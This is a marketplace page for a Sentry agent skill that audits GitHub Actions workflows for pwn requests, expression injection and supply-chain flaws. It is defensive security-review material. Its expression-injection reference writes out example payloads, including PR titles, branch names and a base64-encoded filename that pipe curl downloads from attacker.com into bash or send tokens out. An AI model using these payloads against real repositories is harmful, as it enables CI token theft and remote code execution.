Gha Security Review

SentryOfficialPublished by Sentry

Skill
Review and audit
Cloud and DevOps
Apache-2.0
Medium risk

From the author

GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review .github/workflows/ for pwn requests, expression injection, credential theft, and supply chain attacks. Exploitation-focused with concrete PoC scenarios.

— the description by Sentry

AutoGineer summary

Written by AutoGineer from the skill’s own files, not by the author

This skill provides a structured methodology for auditing GitHub Actions workflows to identify exploitable vulnerabilities. It focuses on real-world attack patterns such as pwn requests, expression injection, credential theft, and supply chain attacks. The skill requires users to trace complete attack paths and provide concrete proof-of-concept scenarios for any reported findings, ensuring that only actionable, high-confidence vulnerabilities are identified.

What it does

Audits .github/workflows/ and associated configuration files for security flaws.
Identifies vulnerabilities exploitable by external attackers without repository write access.
Maps workflow triggers to specific threat models like pull_request_target or issue_comment.
Provides guidance on validating findings through attack path tracing.
Categorizes findings by confidence level to prioritize actionable security issues.
Suggests remediation steps for confirmed vulnerabilities.

When to use it

When you need to perform a security audit of your GitHub Actions CI/CD pipeline.
When investigating potential workflow exploitation vectors in a repository.
When reviewing pull requests for CI/CD configuration security.
When you need to verify if a workflow is susceptible to external attacker manipulation.

Advantages

Focuses on concrete, exploitable attack paths rather than theoretical risks.
Reduces noise by excluding vulnerabilities that require repository write access.
Provides clear, actionable criteria for classifying findings.
Includes specific detection patterns for common CI/CD vulnerabilities.

Usage examples

“Review my GitHub Actions workflows for security vulnerabilities.”: The agent will scan the .github/workflows/ directory, analyze triggers and permissions, and report any high or medium confidence vulnerabilities with a PoC.
“Check if my CI is vulnerable to pwn requests.”: The agent will specifically audit workflows using pull_request_target and check if they unsafely check out or execute code from forks.
“Audit my issue_comment workflows for command injection.”: The agent will examine workflows triggered by issue_comment to ensure they include proper author_association checks to prevent unauthorized command execution.

Install

Download the skill as a ZIP:
https://mp-staging.autogineer.com/agent-skills/getsentry/gha-security-review/download

Unzip it into the cross-client skills folder of your project:

mkdir -p .agents/skills && unzip gha-security-review.zip -d .agents/skills

Documentation by Sentry

GitHub Actions Security Review

Find exploitable vulnerabilities in GitHub Actions workflows. Every finding MUST include a concrete exploitation scenario — if you can't build the attack, don't report it.

This skill encodes attack patterns from real GitHub Actions exploits — not generic CI/CD theory.

Scope

Review the workflows provided (file, diff, or repo). Research the codebase as needed to trace complete attack paths before reporting.

Files to Review

.github/workflows/*.yml — all workflow definitions
action.yml / action.yaml — composite actions in the repo
.github/actions/*/action.yml — local reusable actions
Config files loaded by workflows: CLAUDE.md, AGENTS.md, Makefile, shell scripts under .github/

Out of Scope

Workflows in other repositories (only note the dependency)
GitHub App installation permissions (note if relevant)

Threat Model

Only report vulnerabilities exploitable by an external attacker — someone without write access to the repository. The attacker can open PRs from forks, create issues, and post comments. They cannot push to branches, trigger workflow_dispatch, or trigger manual workflows.

Do not flag vulnerabilities that require write access to exploit:

workflow_dispatch input injection — requires write access to trigger
Expression injection in push-only workflows on protected branches
workflow_call input injection where all callers are internal
Secrets in workflow_dispatch/schedule-only workflows

Confidence

Report only HIGH and MEDIUM confidence findings. Do not report theoretical issues.

Confidence	Criteria	Action
HIGH	Traced the full attack path, confirmed exploitable	Report with exploitation scenario and fix
MEDIUM	Attack path partially confirmed, uncertain link	Report as needs verification
LOW	Theoretical or mitigated elsewhere	Do not report

For each HIGH finding, provide all five elements:

Entry point — How does the attacker get in? (fork PR, issue comment, branch name, etc.)
Payload — What does the attacker send? (actual code/YAML/input)
Execution mechanism — How does the payload run? (expression expansion, checkout + script, etc.)
Impact — What does the attacker gain? (token theft, code execution, repo write access)
PoC sketch — Concrete steps an attacker would follow

If you cannot construct all five, report as MEDIUM (needs verification).

Step 1: Classify Triggers and Load References

For each workflow, identify triggers and load the appropriate reference:

Trigger / Pattern	Load Reference
`pull_request_target`	`references/pwn-request.md`
`issue_comment` with command parsing	`references/comment-triggered-commands.md`
`${{ }}` in `run:` blocks	`references/expression-injection.md`
PATs / deploy keys / elevated credentials	`references/credential-escalation.md`
Checkout PR code + config file loading	`references/ai-prompt-injection-via-ci.md`
Third-party actions (especially unpinned)	`references/supply-chain.md`
`permissions:` block or secrets usage	`references/permissions-and-secrets.md`
Self-hosted runners, cache/artifact usage	`references/runner-infrastructure.md`
Any confirmed finding	`references/real-world-attacks.md`

Load references selectively — only what's relevant to the triggers found.

Step 2: Check for Vulnerability Classes

Check 1: Pwn Request

Does the workflow use pull_request_target AND check out fork code?

Look for actions/checkout with ref: pointing to PR head
Look for local actions (./.github/actions/) that would come from the fork
Check if any run: step executes code from the checked-out PR

Check 2: Expression Injection

Are ${{ }} expressions used inside run: blocks in externally-triggerable workflows?

Map every ${{ }} expression in every run: step
Confirm the value is attacker-controlled (PR title, branch name, comment body — not numeric IDs, SHAs, or repository names)
Confirm the expression is in a run: block, not if:, with:, or job-level env:

Check 3: Unauthorized Command Execution

Does an issue_comment-triggered workflow execute commands without authorization?

Is there an author_association check?
Can any GitHub user trigger the command?
Does the command handler also use injectable expressions?

Check 4: Credential Escalation

Are elevated credentials (PATs, deploy keys) accessible to untrusted code?

What's the blast radius of each secret?
Could a compromised workflow steal long-lived tokens?

Check 5: Config File Poisoning

Does the workflow load configuration from PR-supplied files?

AI agent instructions: CLAUDE.md, AGENTS.md, .cursorrules
Build configuration: Makefile, shell scripts

Check 6: Supply Chain

Are third-party actions securely pinned to full SHAs?

Pin third-party / external actions and reusable workflows only
Do not flag first-party actions/* or github/* on version tags
Do not flag same-repo / vendored (./.github/actions/...) as supply-chain pinning issues
Only report when the job has secrets, OIDC, write token, release, deploy, package, or signing power — unprivileged read-only CI is not a finding

Check 7: Permissions and Secrets

Are workflow permissions minimal? Are secrets properly scoped?

Check 8: Runner Infrastructure

Are self-hosted runners, caches, or artifacts used securely?

Safe Patterns (Do Not Flag)

Before reporting, check if the pattern is actually safe:

Pattern	Why Safe
`pull_request_target` WITHOUT checkout of fork code	Never executes attacker code
`${{ github.event.pull_request.number }}` in `run:`	Numeric only — not injectable
`${{ github.repository }}` / `github.repository_owner`	Repo owner controls this
`${{ secrets.* }}`	Not an expression injection vector
`${{ }}` in `if:` conditions	Evaluated by Actions runtime, not shell
`${{ }}` in `with:` inputs	Passed as string parameters, not shell-evaluated
Third-party actions pinned to full SHA	Immutable reference
First-party `actions/` / `github/` on version tags	Outside third-party pinning policy — do not flag
Same-repo / vendored local actions	Not third-party supply chain (review pwn-request separately)
`pull_request` trigger (not `_target`)	Runs in fork context with read-only token
Any expression in `workflow_dispatch`/`schedule`/`push` to protected branches	Requires write access — outside threat model

Key distinction: ${{ }} is dangerous in run: blocks (shell expansion) but safe in if:, with:, and env: at the job/step level (Actions runtime evaluation).

Step 3: Validate Before Reporting

Before including any finding, read the actual workflow YAML and trace the complete attack path:

Read the full workflow — don't rely on grep output alone
Trace the trigger — confirm the event and check if: conditions that gate execution
Trace the expression/checkout — confirm it's in a run: block or actually references fork code
Confirm attacker control — verify the value maps to something an external attacker sets
Check existing mitigations — env var wrapping, author_association checks, restricted permissions, SHA pinning

If any link is broken, mark MEDIUM (needs verification) or drop the finding.

If no checks produced a finding, report zero findings. Do not invent issues.

Step 4: Report Findings

## GitHub Actions Security Review

### Findings

#### [GHA-001] [Title] (Severity: Critical/High/Medium)
- **Workflow**: `.github/workflows/release.yml:15`
- **Trigger**: `pull_request_target`
- **Confidence**: HIGH — confirmed through attack path tracing
- **Exploitation Scenario**:
  1. [Step-by-step attack]
- **Impact**: [What attacker gains]
- **Fix**: [Code that fixes the issue]

### Needs Verification
[MEDIUM confidence items with explanation of what to verify]

### Reviewed and Cleared
[Workflows reviewed and confirmed safe]

If no findings: "No exploitable vulnerabilities identified. All workflows reviewed and cleared."

Files

ATTRIBUTION.mdAdded by AutoGineer862 B
LICENSELicence file added by AutoGineer10.5 KiB
SKILL.md8.8 KiB
references/ai-prompt-injection-via-ci.md5.3 KiB
references/comment-triggered-commands.md5.5 KiB
references/credential-escalation.md6.5 KiB
references/expression-injection.md8.4 KiB
references/permissions-and-secrets.md7.7 KiB
references/pwn-request.md5.8 KiB
references/real-world-attacks.md9.2 KiB
references/runner-infrastructure.md7.9 KiB
references/supply-chain.md9.4 KiB

references/expression-injection.md

Expression Injection

Overview

Expression injection occurs when GitHub Actions ${{ }} expressions containing attacker-controlled values are used inside run: blocks. The Actions runtime substitutes the expression value before the shell interprets it, allowing shell metacharacters in the value to execute arbitrary commands.

The Vulnerability

# VULNERABLE: PR title directly interpolated into shell
- run: echo "PR Title: ${{ github.event.pull_request.title }}"

If the attacker sets the PR title to:

"; curl https://attacker.com/$(cat $GITHUB_TOKEN) #

After expression substitution, the shell sees:

echo "PR Title: "; curl https://attacker.com/$(cat $GITHUB_TOKEN) #"

The shell executes echo, then curl, then ignores the rest as a comment.

Injection Techniques

Branch Name Injection

Branch names allow most characters including $, (, ), {, }, and spaces (encoded).

# VULNERABLE
- run: echo "${{ github.head_ref }}" > branch_name.txt

Attack branch name:

dev$({curl,-sSfL,attacker.com/steal}${IFS}|${IFS}bash)

Breakdown:

${IFS} — Internal Field Separator, becomes a space
$({curl,-sSfL,attacker.com/steal}) — brace expansion + command substitution
The |${IFS}bash pipes the download to bash

Real-world: Used against microsoft/ai-discovery-agent. The payload was embedded in the branch name, and the 2m38s execution gap in the "Save format request data" step confirmed code execution.

Filename Injection

When workflows iterate over PR-modified files:

# VULNERABLE
- run: |
    for file in ${{ steps.changed.outputs.files }}; do
      echo "Processing $file"
    done

Attack filename:

docs/$(echo${IFS}Y3VybCAtc1NmTCBhdHRhY2tlci5jb20vc3RlYWw=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md

The base64 decodes to curl -sSfL attacker.com/steal, executed via command substitution in the filename.

Real-world: Used against DataDog/datadog-iac-scanner. Emergency fixes deployed within 9 hours.

PR Title / Body Injection

The most straightforward vector — attacker fully controls PR title and body:

# VULNERABLE
- run: |
    echo "## PR Summary" >> $GITHUB_STEP_SUMMARY
    echo "${{ github.event.pull_request.title }}" >> $GITHUB_STEP_SUMMARY

Payload in PR title:

$(curl -sSfL attacker.com/steal | bash)

Issue / Comment Body Injection

# VULNERABLE
on: issues
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Issue: ${{ github.event.issue.title }}"

Commit Message Injection

On push triggers, commit messages are technically injectable — but only if the push trigger accepts pushes from untrusted sources (e.g., unprotected branches that anyone can push to). On protected branches (e.g., main, master), pushing requires write access, so the attacker already has full repo access and this is not a meaningful finding.

# NOT TYPICALLY VULNERABLE: push to protected branch requires write access
on:
  push:
    branches: [main]
steps:
  - run: echo "Commit: ${{ github.event.commits[0].message }}"

workflow_dispatch Input Injection — NOT A FINDING

workflow_dispatch requires write access to the repository to trigger. Someone with write access can already push arbitrary code directly, so injection via dispatch inputs adds no additional risk. Do not report this pattern.

# NOT A FINDING: requires write access to trigger
on:
  workflow_dispatch:
    inputs:
      version:
        description: 'Version to release'
        required: true
jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - run: echo "Releasing ${{ github.event.inputs.version }}"

Detection Patterns

# Find all ${{ }} expressions in run: blocks
grep -n 'run:' .github/workflows/*.yml | while read line; do
  file=$(echo "$line" | cut -d: -f1)
  grep -n '\${{.*}}' "$file"
done

# Specifically look for dangerous expressions in run blocks
grep -B5 -A5 '\${{.*github\.event\.' .github/workflows/*.yml | grep -B5 'run:'

# Find head_ref usage (dangerous in PR-triggered workflows)
grep -rn 'github\.head_ref\|pull_request\.head\.ref\|pull_request\.head\.label' .github/workflows/

# NOTE: Do NOT flag workflow_dispatch inputs — requires write access, not an external threat

The Fix: Environment Variables

The universal fix is to pass expressions through environment variables:

# VULNERABLE
- run: echo "Title: ${{ github.event.pull_request.title }}"

# SAFE: Expression assigned to env var, then quoted in shell
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Why this works:

${{ }} substitution happens first, setting the env var value
The shell sees $PR_TITLE — a variable reference, not raw content
Shell variable expansion with quotes prevents injection

Important: The shell variable MUST be quoted ("$PR_TITLE", not $PR_TITLE) to prevent word splitting.

Fix Examples

# Branch name — SAFE
- env:
    BRANCH: ${{ github.head_ref }}
  run: echo "$BRANCH" > branch_name.txt

# PR title — SAFE
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "## PR Summary" >> $GITHUB_STEP_SUMMARY
    echo "$TITLE" >> $GITHUB_STEP_SUMMARY

# Multiple expressions — SAFE
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    PR_BODY: ${{ github.event.pull_request.body }}
    HEAD_REF: ${{ github.head_ref }}
  run: |
    echo "Title: $PR_TITLE"
    echo "Branch: $HEAD_REF"

# workflow_dispatch input — SAFE
- env:
    VERSION: ${{ github.event.inputs.version }}
  run: echo "Releasing $VERSION"

Where ${{ }} Is Safe

Expression substitution is NOT dangerous in these contexts:

# SAFE: if: conditions (evaluated by Actions runtime, not shell)
if: ${{ github.event.pull_request.title != '' }}

# SAFE: with: parameters (passed as strings to the action)
- uses: some-action@v1
  with:
    title: ${{ github.event.pull_request.title }}

# SAFE: env: at job/step level (sets variable, doesn't execute)
env:
  TITLE: ${{ github.event.pull_request.title }}

# SAFE: numeric values
- run: echo "PR #${{ github.event.pull_request.number }}"

Attacker-Controlled Expressions Quick Reference

These expressions are dangerous when used in run: blocks because an attacker controls the value:

Expression	Attack Vector
`github.event.pull_request.title`	PR title
`github.event.pull_request.body`	PR description
`github.event.pull_request.head.ref`	Branch name
`github.event.pull_request.head.label`	Fork label
`github.event.issue.title`	Issue title
`github.event.issue.body`	Issue body
`github.event.comment.body`	Comment text
`github.event.review.body`	Review text
`github.event.discussion.title`	Discussion title
`github.event.discussion.body`	Discussion body
`github.head_ref`	Branch name (shorthand)
`github.event.pages.*.page_name`	Wiki page name

Safe Expressions (NOT attacker-controlled)

Expression	Why Safe
`github.event.pull_request.number`	Numeric only
`github.repository` / `github.repository_owner`	Repo owner controls
`github.actor`	GitHub username, alphanumeric + hyphens
`github.sha`	Hex string
`github.ref_name` (on `push` to protected branch)	Protected branch rules apply
`secrets.*`	Not expanded into shell literally
`github.run_id` / `github.run_number`	Numeric
`github.event.inputs.*` (workflow_dispatch)	Requires write access — not an external threat
`github.event.commits[*].message` (push to protected)	Requires write access

Exploitation Scenario Template

ATTACK: Expression Injection via [source]
ENTRY: Attacker creates [PR/issue/comment] with payload in [field]
PAYLOAD: [exact string the attacker provides]
TRIGGER: Workflow [file:line] runs on [event], expression at line [N]
  expands to shell code
EXECUTION: Shell interprets ${{ }} output as:
  [show the expanded shell command]
IMPACT: [RCE, token theft, etc.] — token permissions: [list]

References

Requirements and compatibility

Works with: Claude Code, Claude apps, OpenAI Codex, GitHub Copilot, Cursor, Gemini CLI, Kiro, OpenCode, Goose, Amp, Roo Code, JetBrains Junie, Factory Droid, Devin (ex-Windsurf), Mistral Vibe, OpenHands, Letta

“Works with” means the tool reads the open Agent Skills format; a skill written for one tool may use features others lack.

Needs: Declares allowed tools

Security

What our scanner noticed· Medium risk

References to credential files
Instructions that use the network
Downloads piped into a shell

A static scan is not a guarantee. Skills are third-party content: review a skill before you let an agent use it.

Attribution and licence

Published by

Sentry

Publisher

Sentry (Official)

Source

getsentry/skills · skills/gha-security-review · commit e94f222

Licence

Apache License 2.0 (redistribution allowed)

LICENSE (added by AutoGineer from LICENSE)
ATTRIBUTION.md (written by AutoGineer)

Synced

2026-11-08

AutoGineer is not affiliated with or endorsed by Sentry.

Download ZIP

The ZIP holds the skill’s files, its licence files and an ATTRIBUTION.md. Download gha-security-review.zip